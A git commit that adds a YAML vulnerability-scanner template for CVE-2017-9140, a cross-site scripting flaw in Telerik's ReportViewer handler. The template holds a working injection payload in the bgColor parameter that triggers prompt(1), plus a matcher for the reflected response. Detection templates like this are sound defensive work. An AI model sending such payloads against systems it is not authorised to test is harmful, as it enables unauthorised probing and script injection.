Create CVE-2017-9140.yaml

2021-06-09 18:40:47 +05:30 · 2021-06-09 18:40:47 +05:30 · 6c79bfa14d
parent 1f36178d37
commit 6c79bfa14d
1 changed files with 18 additions and 0 deletions
--- a/cves/2017/CVE-2017-9140.yaml
+++ b/cves/2017/CVE-2017-9140.yaml
@ -0,0 +1,18 @@
+id: CVE-2017-9140
+
+info:
+  name: CVE-2017-9140
+  author: dhiyaneshDk
+  severity: medium
+  tags: cve2017,xss,telerik
+  reference: https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'
+    matchers:
+      - type: word
+        words:
+          - '<body style="background-color: #000000;" onload="prompt(1);">'
+        condition: and